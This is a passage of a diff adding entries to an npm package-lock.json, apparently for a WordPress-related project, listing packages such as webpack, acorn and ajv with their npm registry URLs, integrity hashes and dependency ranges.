"2.1.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.1.3.tgz", + "integrity": "sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==", + "deprecated": "\"Please update to latest v2.3 or v2.2\"", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/glob-parent": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz", + "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==", + "dev": true, + "optional": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "optional": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-glob": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "dev": true, + "optional": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-number/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "dev": true, + "dependencies": { + "minimist": "^1.2.0" + }, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/loader-runner": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.4.0.tgz", + "integrity": "sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw==", + "dev": true, + "engines": { + "node": ">=4.3.0 <5.0.0 || >=5.10" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/loader-utils": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", + "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", + "dev": true, + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^1.0.1" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/node-libs-browser": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.2.1.tgz", + "integrity": "sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==", + "dev": true, + "dependencies": { + "assert": "^1.1.1", + "browserify-zlib": "^0.2.0", + "buffer": "^4.3.0", + "console-browserify": "^1.1.0", + "constants-browserify": "^1.0.0", + "crypto-browserify": "^3.11.0", + "domain-browser": "^1.1.1", + "events": "^3.0.0", + "https-browserify": "^1.0.0", + "os-browserify": "^0.3.0", + "path-browserify": "0.0.1", + "process": "^0.11.10", + "punycode": "^1.2.4", + "querystring-es3": "^0.2.0", + "readable-stream": "^2.3.3", + "stream-browserify": "^2.0.1", + "stream-http": "^2.7.2", + "string_decoder": "^1.0.0", + "timers-browserify": "^2.0.4", + "tty-browserify": "0.0.0", + "url": "^0.11.0", + "util": "^0.11.0", + "vm-browserify": "^1.0.1" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/path-browserify": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz", + "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==", + "dev": true + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/readable-stream/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/readdirp": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.4.0.tgz", + "integrity": "sha512-0xe001vZBnJEK+uKcj8qOhyAKPzIT+gStxWr3LCB0DwcXR5NZJ3IaC+yGnHCYzB/S7ov3m3EEbZI2zeNvX+hGQ==", + "dev": true, + "optional": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", + "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "dev": true, + "dependencies": { + "ajv": "^6.1.0", + "ajv-errors": "^1.0.0", + "ajv-keywords": "^3.1.0" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/timers-browserify": { + "version": "2.0.11", + "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.11.tgz", + "integrity": "sha512-60aV6sgJ5YEbzUdn9c8kYGIqOubPoUdqQCul3SBAsRCZ40s6Y5cMcrW4dt3/k/EsbLVJNl9n6Vz3fTc+k2GeKQ==", + "dev": true, + "dependencies": { + "setimmediate": "^1.0.4" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/util": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz", + "integrity": "sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==", + "dev": true, + "dependencies": { + "inherits": "2.0.3" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/vm-browserify": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz", + "integrity": "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==", + "dev": true + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/watchpack": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.7.2.tgz", + "integrity": "sha512-ymVbbQP40MFTp+cNMvpyBpBtygHnPzPkHqoIwRRj/0B8KhqQwV8LaKjtbaxF2lK4vl8zN9wCxS46IFCU5K4W0g==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "neo-async": "^2.5.0" + }, + "optionalDependencies": { + "chokidar": "^3.4.0", + "watchpack-chokidar2": "^2.0.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/webpack": { + "version": "4.43.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.43.0.tgz", + "integrity": "sha512-GW1LjnPipFW2Y78OOab8NJlCflB7EFskMih2AHdvjbpKMeDJqEgSx24cXXXiPS65+WSwVyxtDsJH6jGX2czy+g==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-module-context": "1.9.0", + "@webassemblyjs/wasm-edit": "1.9.0", + "@webassemblyjs/wasm-parser": "1.9.0", + "acorn": "^6.4.1", + "ajv": "^6.10.2", + "ajv-keywords": "^3.4.1", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^4.1.0", + "eslint-scope": "^4.0.3", + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^2.4.0", + "loader-utils": "^1.2.3", + "memory-fs": "^0.4.1", + "micromatch": "^3.1.10", + "mkdirp": "^0.5.3", + "neo-async": "^2.6.1", + "node-libs-browser": "^2.2.1", + "schema-utils": "^1.0.0", + "tapable": "^1.1.3", + "terser-webpack-plugin": "^1.4.3", + "watchpack": "^1.6.1", + "webpack-sources": "^1.4.1" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=6.11.5" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/webpack-sources": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", + "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", + "dev": true, + "dependencies": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + } + }, + "node_modules/@wordpress/hooks": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@wordpress/hooks/-/hooks-2.0.5.tgz", + "integrity": "sha512-EcE7lm5p6f3qB6nJClY3LPejFpbjo66b6j4ihgLLgrWMKqs4lLPGS2OzK4KyP0O52cofKj+Tv/wBaAiYSufFcA==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.0.0" + } + }, + "node_modules/@wordpress/url": { + "version": "2.15.0", + "resolved": "https://registry.npmjs.org/@wordpress/url/-/url-2.15.0.tgz", + "integrity": "sha512-nDGZslWZ6TMve3/09O9b2vGaCP2JXoe95uIrkChkw1DVH3tq/tCg1gwQsPXvhBIw5OmopzwlSEuwwp348hyaCA==", + "dependencies": { + "@babel/runtime": "^7.9.2", + "lodash": "^4.17.15", + "qs": "^6.5.2", + "react-native-url-polyfill": "^1.1.2" + } + }, + "node_modules/@wordpress/url/node_modules/@babel/runtime": { + "version": "7.10.2", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.10.2.tgz", + "integrity": "sha512-6sF3uQw2ivImfVIl62RZ7MXhO2tap69WeWK57vAaimT6AZbE4FbqjdEJIN1UqoD6wI6B+1n9UiagafH1sxjOtg==", + "dependencies": { + "regenerator-runtime": "^0.13.4" + } + }, + "node_modules/@wordpress/url/node_modules/qs": { + "version": "6.9.4", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.9.4.tgz", + "integrity": "sha512-A1kFqHekCTM7cz0udomYUoYNWjBebHm/5wzU/XqrBRBNWectVH0QIiN+NEcZ0Dte5hvzHwbr8+XQmguPhJ6WdQ==", + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/@wordpress/url/node_modules/regenerator-runtime": { + "version": "0.13.5", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz", + "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==" + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "dev": true + }, + "node_modules/abbrev": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.0.tgz", + "integrity": "sha1-0FVMIlZjbi9W58LlrRg/hZQo2B8=", + "dev": true + }, + "node_modules/abort-controller": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", + "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", + "peer": true, + "dependencies": { + "event-target-shim": "^5.0.0" + }, + "engines": { + "node": ">=6.5" + } + }, + "node_modules/absolute-path": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/absolute-path/-/absolute-path-0.0.0.tgz", + "integrity": "sha512-HQiug4c+/s3WOvEnDRxXVmNtSG5s2gJM9r19BTcqjp7BWcE48PB+Y2G6jE65kqI0LpsQeMZygt/b60Gi4KxGyA==", + "peer": true + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "peer": true, + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-dynamic-import": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-3.0.0.tgz", + "integrity": "sha512-zVWV8Z8lislJoOKKqdNMOB+s6+XV5WERty8MnKBeFgwA+19XJjJHs2RP5dzM57FftIs+jQnRToLiWazKr6sSWg==", + "dev": true, + "dependencies": { + "acorn": "^5.0.0" + } + }, + "node_modules/acorn-dynamic-import/node_modules/acorn": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", + "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-3.0.1.tgz", + "integrity": "sha1-r9+UiPsezvyDSPb7IvRk4ypYs2s=", + "dev": true, + "dependencies": { + "acorn": "^3.0.4" + } + }, + "node_modules/acorn-jsx/node_modules/acorn": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-3.3.0.tgz", + "integrity": "sha1-ReN/s56No/JbruP/U2niu18iAXo=", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-node": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/acorn-node/-/acorn-node-1.5.2.tgz", + "integrity": "sha512-krFKvw/d1F17AN3XZbybIUzEY4YEPNiGo05AfP3dBlfVKrMHETKpgjpuZkSF8qDNt9UkQcqj7am8yJLseklCMg==", + "dev": true, + "dependencies": { + "acorn": "^5.7.1", + "acorn-dynamic-import": "^3.0.0", + "xtend": "^4.0.1" + } + }, + "node_modules/acorn-node/node_modules/acorn": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", + "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/ajv": { + "version": "5.5.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", + "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", + "dev": true, + "dependencies": { + "co": "^4.6.0", + "fast-deep-equal": "^1.0.0", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.3.0" + } + }, + "node_modules/ajv-errors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-1.0.1.tgz", + "integrity": "sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ==", + "dev": true, + "peerDependencies": { + "ajv": ">=5.0.0" + } + }, + "node_modules/ajv-keywords": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-2.1.1.tgz", + "integrity": "sha1-YXmX/F9gV2iUxDX5QNgZ4TW4B2I=", + "dev": true, + "peerDependencies": { + "ajv": "^5.0.0" + } + }, + "node_modules/align-text": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz", + "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2", + "longest": "^1.0.1", + "repeat-string": "^1.5.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/allure-js-commons": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/allure-js-commons/-/allure-js-commons-1.3.2.tgz", + "integrity": "sha512-FTmoqP36ZjHFT4iLdYamyCFhyj1jqD6BIdiZ5pBlyafDJrFRV76XIXNxwRqbHpSw40o1vHzYi4vGpmREnhnHVw==", + "dev": true, + "dependencies": { + "file-type": "^7.7.1", + "fs-extra": "^6.0.1", + "js2xmlparser": "^3.0.0", + "mime": "^2.3.1", + "object-assign": "^4.1.1", + "uuid": "^3.0.0" + } + }, + "node_modules/allure-js-commons/node_modules/fs-extra": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-6.0.1.tgz", + "integrity": "sha512-GnyIkKhhzXZUWFCaJzvyDLEEgDkPfb4/TPvJCJVuS8MWZgoSsErf++QpiAlDnKFcqhRlm+tIOcencCjyJE6ZCA==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + } + }, + "node_modules/allure-js-commons/node_modules/mime": { + "version": "2.4.4", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.4.tgz", + "integrity": "sha512-LRxmNwziLPT828z+4YkNzloCFC2YM4wrB99k+AV5ZbEyfGNWfG8SO1FUXLmLDBSo89NrJZ4DIWeLjy1CHGhMGA==", + "dev": true, + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/alphanum-sort": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/alphanum-sort/-/alphanum-sort-1.0.2.tgz", + "integrity": "sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM=", + "dev": true + }, + "node_modules/amdefine": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", + "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", + "dev": true, + "engines": { + "node": ">=0.4.2" + } + }, + "node_modules/anser": { + "version": "1.4.10", + "resolved": "https://registry.npmjs.org/anser/-/anser-1.4.10.tgz", + "integrity": "sha512-hCv9AqTQ8ycjpSd3upOJd7vFwW1JaoYQ7tpham03GJ1ca8/65rqn0RpaWpItOAd6ylW9wAw6luXYPJIyPFVOww==", + "peer": true + }, + "node_modules/ansi-colors": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.3.tgz", + "integrity": "sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-escapes": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", + "integrity": 